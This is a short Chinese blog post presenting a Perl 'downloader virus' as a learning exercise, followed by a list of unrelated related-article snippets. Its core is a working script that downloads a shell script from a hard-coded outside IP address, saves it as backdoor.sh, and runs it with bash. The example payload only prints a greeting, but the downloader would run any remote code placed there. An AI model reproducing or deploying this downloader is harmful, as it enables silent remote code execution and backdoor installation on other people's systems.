用Perl做个简单”下载者病毒”

一直学的perl, 有时perl不理解时就用python写一下,这样或许perl就理解了

这里参照python写法,做了个perl的版本,当然,是为了学习用,这个下载者病毒有点简单过头了

backdoor.sh后门程序代码如下:

backdoor.sh

1 #!/bin/sh
2 echo ‘Hello, Python‘

下面为perl的shell.pl代码:

shell.pl

1 #!/usr/bin/perl
2 use LWP::Simple;
3
4 my $backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘);
5 open BACKDOOR, ">", ‘backdoor.sh‘ or die "Dowload Error:$!\n";
6 print BACKDOOR $backdoor_content;
7 system(‘/bin/bash backdoor.sh‘);

时间: 2024-10-13 20:52:53

用Perl做个简单”下载者病毒”的相关文章

做一个简单下载功能的记录

给同事做一个下载的功能,将数据库关联查询后生产csv文件供下载,期间遇到的小问题,记录下. 1,数据库的关联查询 查询出来的数据结构是:一个表TABLE_A的部分数据,和TABLE_A的每条数据在TABLE_B表中的个数 mapper.xml文件 sql语句(下面的方式可能会引发一些问题,下面讲) <resultMap id="aAndCount" type="com.model.AandCount"> <result column="f

一个简单的HTML病毒分析

一直就想写这篇东西了,只是上班时说要上班,不写,回家后又忙着玩游戏,丢一边去了.现在只好不务正业的开写了,希望头儿不会知道我的blog.哈哈 在很久之前就对HTML的病毒很感兴趣了,很好奇怎么能远程向本地不经过允许就能下载可执行文件的,只是一直没机会搞得到ASP的原码,所以不才敢断章取义的去作什么分析.最近一次听一朋友说他看一个网页时病毒防火墙提示有病毒,叫我小心(先感谢一下他先),我闪了一下念头,就打开FlashGet把那个病毒首页下了下来. 稍微看了一下发现在首页代码的下面几行里有一个隐含的

如何做一个简单的Chrome Extension用于网页截屏

Chrome extension是一个文件包,里面包含了一个配置文件manifest.json,以及一些用于Web开发的文件和资源 (HTML, JavaScript, CSS,等). Chrome Extension开发指南 Chrome Extension Overview Chrome Extension Debugging Chrome Extension Samples 如何实现网页截屏功能 看一下manifest文件: {       "name": "Scree

C#做一个简单的进行串口通信的上位机

C#做一个简单的进行串口通信的上位机 1.上位机与下位机 上位机相当于一个软件系统,可以用于接收数据.控制数据.即可以对接收到的数据直接发送操控命令来操作数据.上位机可以接收下位机的信号.下位机是一个控制器,是直接控制设备获取设备状况的计算机.上位机发出的命令首先给下位机,下位机再根据此命令解释成相应时序信号直接控制相应设备.下位机不时读取设备状态数据(一般为模拟量),转换成数字信号反馈给上位机.上位机不可以单独使用,而下位机可以单独使用. 2.串口通信 串口相当于硬件类型的接口.比如无线传感节

使用Multiplayer Networking做一个简单的多人游戏例子-2/3(Unity3D开发之二十六)

猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51007512 使用Multiplayer Networking做一个简单的多人游戏例子-1/3 使用Multiplayer Networking做一个简单的多人游戏例子-2/3 使用Multiplayer Networking做一个简单的多人游戏例子-3/3 7. 在网络中控制Player移动 上一篇中,玩家操

做个简单的男女体重测试

用((:?)如果-否则): namespace 男女体重测试 { class Program { static void Main(string[] args) { double a, b ,n,m; //做个简单的体重测试 while (true) { Console.WriteLine("请输入性别:");                 string sex= Console.ReadLine(); Console.WriteLine("请输入您的体重(kg):&quo

[3] 用D3.js做一个简单的图表吧!

本人的个人博客为: www.ourd3js.com csdn博客为: blog.csdn.net/lzhlzz 转载请注明出处,谢谢. 前面说了几节,都是对文字进行处理,这一节中将用 D3.js 做一个简单的柱形图. 做柱形图有很多种方法,比如用 HTML 的 div 标签,或用 svg . 推荐用 SVG 来做各种图形.SVG 意为可缩放矢量图形(Scalable Vector Graphics),SVG 使用 XML 格式定义图像,不清楚什么是SVG的朋友请先在 w3cschools 学习下

简单下载内容

public void DownLoad(string wordcode, string wordname, string wordcopyright) { string outfn = "attachment;filename={0}.txt"; Response.ContentType = "application/txt;charset=GB2312"; Response.AddHeader("Content-Disposition", s

泛型的RedBlack Tree的实现,并和STL map 做了简单的性能比较

问题提出: 1.RedBlack Tree是一种简单的自平衡树.它通过属性约束来实现树的平衡,保证在树上没有一条路是别的路的2倍长. 2. 它有以下五条属性约束: 1) 每个node是红色或者黑色: 2) 每个叶子node是黑色: 3)根node是黑色: 4)若一个node是黑色,则它的两个孩子node是红色: 5)   对每个node,若有从这个node到它的子孙叶子(node)的路上包含有相同数目的黑色节点: 3. 本文的实现是参考introduction to algorithm 书中的讲